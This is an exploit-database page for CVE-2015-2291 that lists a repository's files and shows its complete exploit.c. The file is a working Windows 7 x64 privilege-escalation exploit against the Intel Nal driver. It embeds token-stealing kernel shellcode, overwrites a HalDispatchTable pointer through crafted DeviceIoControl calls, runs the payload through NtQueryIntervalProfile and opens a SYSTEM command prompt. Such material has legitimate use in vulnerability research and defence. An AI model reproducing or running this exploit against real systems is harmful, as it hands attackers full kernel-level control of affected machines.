Exploit databaseDownload repository ZIP
GH-d1d8dbad9f41ce3e98bb320dd6fa2d2f
gmh5225/cve-2015-2291
Sources for CVE-2015-2291
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
gmh5225/cve-2015-2291Revision 845713054d28
- ↑..Parent directory
- CVE-2015-2291.sln
- CVE-2015-2291.vcxproj
- CVE-2015-2291.vcxproj.filters
- exploit.c
- exploit.h
- leak.c
- leak.h
- shellcode.asm
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Windows 7/CVE-2015-2291/exploit.c
Suggested starting fileC · 4,278 bytes#include "exploit.h"
NtQueryIntervalProfile _NtQueryIntervalProfile = 0;
char shellcode[] =
{
0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x70, 0x48, 0x89, 0xC3, 0x48, 0x8B, 0x9B, 0x88, 0x01, 0x00, 0x00, 0x48, 0x81, 0xEB, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x8B, 0x80, 0x01, 0x00, 0x00, 0x48, 0x83, 0xF9, 0x04, 0x75, 0xE5, 0x48, 0x8B, 0x8B, 0x08, 0x02, 0x00, 0x00, 0x80, 0xE1, 0xF0, 0x48, 0x89, 0x88, 0x08, 0x02, 0x00, 0x00, 0xC3
};
int main(int argc, char** argv)
{
HANDLE h_nal = CreateFileA(DEVICE, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0), h_system_priv_process = 0;
unsigned char unused = 0, * shellcode_pointer = 0;
HMODULE h_ntdll = 0;
unsigned long long nt_base_address = 0;
SetConsoleTitleA("CVE-2015-2291");
printf("[*] CVE-2015-2291 Intel Nal Device Driver Exploit\n[*] Tested successfully on Windows 7 SP1 64-bit\n[*] Written by ExAllocatePool2\n[>] Press \"ENTER\" when you are ready...");
unused = getchar();
printf("[!] Let's exploit!");
Sleep(500);
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
nt_base_address = leak_ntoskrnl_base_address(h_ntdll);
if (!nt_base_address)
{
return 1;
}
shellcode_pointer = (char*)VirtualAlloc(0x41410000, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcode_pointer)
{
printf("\n[-] Failed to allocate stack memory for the kernel payload. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the kernel payload. Payload Address: 0x%p", (long long*)shellcode_pointer);
memcpy(shellcode_pointer, &shellcode, sizeof(shellcode));
printf("\n[+] Copied the kernel payload onto the stack allocation.");
trigger_vulnerability(h_nal, nt_base_address);
system("start C:\\Windows\\System32\\cmd.exe");
printf("\n[+] Exploit completed.");
unused = getchar();
return 0;
}
// TODO: Add a recovery routine, so the machine does not crash after a while.
void trigger_vulnerability(HANDLE h_nal, unsigned long long nt_base_address)
{
INPUT_BUFFER input_struct;
unsigned char output[2048];
unsigned long bytes_returned = 0, interval = 0;
RtlSecureZeroMemory(&input_struct, sizeof(input_struct));
RtlSecureZeroMemory(&output, sizeof(output));
input_struct.JumpTableCode = 0x30;
input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
printf("\n[+] Crafted input structure.\n<---------------- | Entering Danger Zone | ---------------->\n[!] Triggering overwrite of a kernel function pointer...");
Sleep(1000);
input_struct.Value = 0x00;
input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &input_struct, sizeof(input_struct), &output, sizeof(output), &bytes_returned, 0);
input_struct.Value = 0x41;
input_struct.Length = 0x4;
DeviceIoControl(h_nal, TARGET_IOCTL, &input_struct, sizeof(input_struct), &output, sizeof(output), &bytes_returned, 0);
input_struct.Value = 0x0;
input_struct.Length = 0x2;
DeviceIoControl(h_nal, TARGET_IOCTL, &input_struct, sizeof(input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[!] Executing kernel payload...");
Sleep(1000);
_NtQueryIntervalProfile(2, &interval);
printf("\n<---------------- | Leaving Danger Zone | ---------------->");
Sleep(1000);
return;
}